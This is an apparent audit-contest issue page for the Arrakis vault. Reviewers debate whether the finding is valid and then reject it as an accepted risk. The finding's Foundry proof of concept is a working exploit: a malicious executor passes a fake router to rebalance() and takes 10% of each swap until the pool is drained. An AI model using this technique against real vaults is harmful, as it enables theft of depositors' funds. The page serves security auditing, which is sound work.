Closed sherlock-admin3 closed 2 months ago
Escalate
This submission, #56 and #53 should be valid. They allow the malicious executor to atomically steal maxSlippage
percentage of the vault, so this can even be 10% of the vault's funds.
Escalate
This submission, #56 and #53 (there may be more dupes as well) should be valid. They allow the malicious executor to atomically steal
maxSlippage
percentage of the vault, so this can even be 10% of the vault's funds.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Agree with the escalation, planning to accept it and make a new issue family with high severity. The duplicates are: #53 and #56.
Result: High Has duplicates
Hi why only 10% can be drained?
Maxslippage will never be 10%, if the percentage drained is under maxSlippage it's not a valid finding. We have cool down period to restrain executor to drain the fund, and giving enough time to vault owner to change the malicious executor.
@WangSecurity I did not follow the escalation on this one, but as mentionned by @Gevarist this falls fairly obviously into accepted risk:
I agree, based on the comments from @CergyK and @Gevarist, the escalation should be rejected and issue should remain invalid
Thank you for these clarifications. Since the submitter and escalator agree, planning to reject the escalation and leave the issue invalid as it was initially.
juaan
high
Malicious Executor can use rebalance() to drain the vault in a complex attack (10% each time)
Summary
The contest README states:
This report shows a complex attack done by a malicious
executor
- They can callrebalance()
with a maliciousrouter_
, which steals 10% of the funds before swapping the rest and returning it. This reduces the pool TVL by 10% each time, which is within the maxSlippage of 10%. This can be repeated indefinitely, to drain a pool’s assets.Vulnerability Detail
The attacker calls
ArrakisStandardManager.rebalance()
, with apayloads_
parameter that calls theswap()
function on the module.Now the
ValantisHOTModule.swap()
function makes the following token approvals, and arbitrary external call:The
router_
andpayload_
are decided by the executor. Now after this external call, the protocol implements multiple checks to ensure that this external call has returned a sufficient amount of tokens, and that the TVL of the pool has not dropped by much.ExpectedMinReturn check (in ValantisHOTModule.swap(), after the router call):
Code
```solidity if (zeroForOne_) { if (balance1 < _actual1 + expectedMinReturn_) { // require(balance1 >= _actual1 + expectedMinReturn_); revert SlippageTooHigh(); } } else { if (balance0 < _actual0 + expectedMinReturn_) { console.log(balance0); console.log(_actual0); console.log(expectedMinReturn_); revert SlippageTooHigh(); } } ```MaxSlippage check (in
ArrakisStandardManager.rebalance()
, after callingswap()
in the module):Code
```solidity uint256 vaultInToken1AfterRebalance = FullMath.mulDiv( amount0, price0, 10 ** token0Decimals ) + amount1; uint256 diff = vaultInToken1BeforeRebalance > vaultInToken1AfterRebalance ? vaultInToken1BeforeRebalance - vaultInToken1AfterRebalance : vaultInToken1AfterRebalance - vaultInToken1BeforeRebalance; uint256 currentSlippage = FullMath.mulDiv( diff, PIPS, vaultInToken1BeforeRebalance ); if (currentSlippage > info.maxSlippagePIPS) { revert OverMaxSlippage(); } ```(Note that
validateRebanace
is ineffective in preventing this attack since it uses the pool’s price ratio, which only updates during ammSwap and hotSwap, not liquidity provision)In the
router.call(payload_)
, a malicious executor can pass in their ownScamRouter
, with the payload calling the functiontakeSomeAndThenSwap
(See PoC for implementation)It simply takes 10% of the approved
amountIn
tokens, swaps the rest into the outToken, and provides theamountOut
back to theValantisHOTModule
This allows the transaction to not revert, since it abides by the slippage bounds.
The attacker can repeat this, stealing 10% from the pool each time.
Impact
10% of the pool’s liquidity can be stolen in one tx, this can be repeated indefinitely to drain the pool.
NOTE: The impact of this can be enhanced by a malicious public vault owner, who sets the rebalance cooldown to 1 second, and maxSlippage to 10%, as they will be able to drain funds at a quicker rate.
Proof of Concept
To run the PoC, add the foundry test to
arrakis-modular/test/integration
and runforge test --mt test_new_looped_profitRebalance -vv
Foundry Test
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {ArrakisStandardManager} from "../../src/ArrakisStandardManager.sol"; import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; import {IOracleWrapper} from "../../src/interfaces/IOracleWrapper.sol"; // Valantis Imports import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; // General Imports import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // Base test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_MaliciousExecutor_ExploitsRebalanceSlippage is ValantisIntegrationPublicTest { address attacker; address rec; function test_new_looped_profitRebalance() public { attacker = makeAddr("attacker"); rec = makeAddr("rec"); // Malicious executor's balance before rebalancing console.log("[BEFORE]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor)); // Setup Uniswap mock // This mock executes trades based on the oracle price used by the protocol vm.startPrank(executor); UniswapMock uniswap = new UniswapMock(oracle); deal(address(token0), address(uniswap), init0*10); // 2000e6 (0: USDC) deal(address(token1), address(uniswap), init1*10); // 1e18 (1: WETH) deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) address m = address(IArrakisMetaVault(vault).module()); //@e user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); // Setup ScamRouter ScamRouter scamRouter = new ScamRouter(token0, token1, address(uniswap), executor); //@e Find the vault's rebalance cooldown (, uint256 cooldownPeriod,,,,,,) = ArrakisStandardManager(payable(manager)).vaultInfo(vault); (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves(); console.log("Pool TVL Before: %e USDC", _getPoolTVL(reserves0Before, reserves1Before)); // Loop to rebalance() multiple times, waiting the cooldown each time for (uint256 i = 0; i < 8; i++) { // Alternate between zeroToOne and oneToZero swaps bool zeroForOne = (i % 2 == 0); uint256 amountIn; uint256 expectedMinReturn; // Calculate expectedMinReturn as 90% of the value of amountIn // This extracts maximal value during the rebalance without reverting- // since maxSlippage is 10% if (zeroForOne) { (amountIn, ) = pool.getReserves(); expectedMinReturn = amountIn * IOracleWrapper(oracle).getPrice0() * 9 / (10 * 10**token0.decimals()); } else { (, amountIn) = pool.getReserves(); expectedMinReturn = amountIn * IOracleWrapper(oracle).getPrice1() * 9 / (10 * 10**token1.decimals()); } // This is the payload sent to the `router_` within `HOTModule.swap()`- called from `StandardManager.rebalance()` bytes memory router_payload = abi.encodeWithSelector( ScamRouter.takeSomeAndThenSwap.selector, zeroForOne, amountIn ); bytes memory payload = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(scamRouter), 0, 0, router_payload // to send to the fake router ); bytes[] memory datas = new bytes[](1); datas[0] = payload; vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); // Warp by the cooldown period before the next rebalance vm.warp(block.timestamp + cooldownPeriod + 1); } console.log("[AFTER]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor)); // Pool reserves (uint256 reserves0After, uint256 reserves1After) = pool.getReserves(); console.log("Pool TVL After: %e USDC\n", _getPoolTVL(reserves0After, reserves1After)); console.log("Token0 (USDC) Reserves Before->After: %e->%e", reserves0Before, reserves0After); console.log("[Pool Reserves]\n Token1 (ETH) Reserves Before->After: %e->%e", reserves1Before, reserves1After); uint256 executorTotalValue = _getPoolTVL(token0.balanceOf(executor), token1.balanceOf(executor)); // Assert that the attacker's TVL + pool's TVL is equal to the original pool TVL // This demonstrates that no outside funds have been introduced from the Uniswap mock or elsewhere // The attacker has simply extracted more than 50% of the pool's value, exploiting slippage tolerance assertEq( executorTotalValue + _getPoolTVL(reserves0After, reserves1After), // total TVL after _getPoolTVL(reserves0Before, reserves1Before) // total TVL before ); } // Helper function to total value of token0 and token1, denominated in token0 function _getPoolTVL(uint256 a, uint256 b) internal view returns (uint256){ return a + b * IOracleWrapper(oracle).getPrice1() / 10**token1.decimals(); } } /////////////////////// // ATTACKER CONTRACT // /////////////////////// contract ScamRouter { ERC20 public token0; ERC20 public token1; UniswapMock uniswap; address owner; constructor(ERC20 t0, ERC20 t1, address _uni, address _owner) { token0 = t0; token1 = t1; uniswap = UniswapMock(_uni); owner = _owner; } function takeSomeAndThenSwap(bool zeroForOne, uint256 amountIn) public { if (zeroForOne) token0.transferFrom(msg.sender, address(this), amountIn); else token1.transferFrom(msg.sender, address(this), amountIn); uint256 profit = amountIn * 10 / 100; uint256 remaining = amountIn - profit; if (zeroForOne) { token0.approve(address(uniswap), amountIn); token0.transfer(owner, profit); } else { token1.approve(address(uniswap), amountIn); token1.transfer(owner, profit); } uniswap.swap(remaining, zeroForOne, msg.sender); } } ////////// // Mock // ////////// contract UniswapMock { IOracleWrapper oracle; constructor(address _oracle) { oracle = IOracleWrapper(_oracle); } function swap(uint256 amountIn, bool zeroForOne_, address receiver) public { ERC20 tokenIn; ERC20 tokenOut; if (zeroForOne_) { tokenIn = ERC20(ScamRouter(msg.sender).token0()); tokenOut = ERC20(ScamRouter(msg.sender).token1()); } else { tokenOut = ERC20(ScamRouter(msg.sender).token0()); tokenIn = ERC20(ScamRouter(msg.sender).token1()); } tokenIn.transferFrom(msg.sender, address(this), amountIn); uint256 amountToReturn; // token0: USDC, token1: ETH if (zeroForOne_) { amountToReturn = amountIn * oracle.getPrice0() / (10**tokenIn.decimals()); } else { amountToReturn = amountIn * oracle.getPrice1() / (10**tokenIn.decimals()); } tokenOut.transfer(receiver, amountToReturn); } } ```Console output
```bash Logs: [BEFORE]: executor's balance- token0: 0e0, token1: 0e0 Pool TVL Before: 4e9 USDC [AFTER]: executor's balance- token0: 1.0434062e9, token1: 5.6953279e17 Pool TVL After: 1.81752822e9 USDC Token0 (USDC) Reserves Before->After: 2e9->1.81752822e9 [Pool Reserves] Token1 (ETH) Reserves Before->After: 1e18->0e0 ```As seen in the console logs, more than 50% of the pool TVL was stolen by the malicious executor after only 8 iterations of the loop.
Code Snippet
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L376
Tool used
Manual Review
Recommendation
Consider using more strict slippage checks, or whitelisting the
router_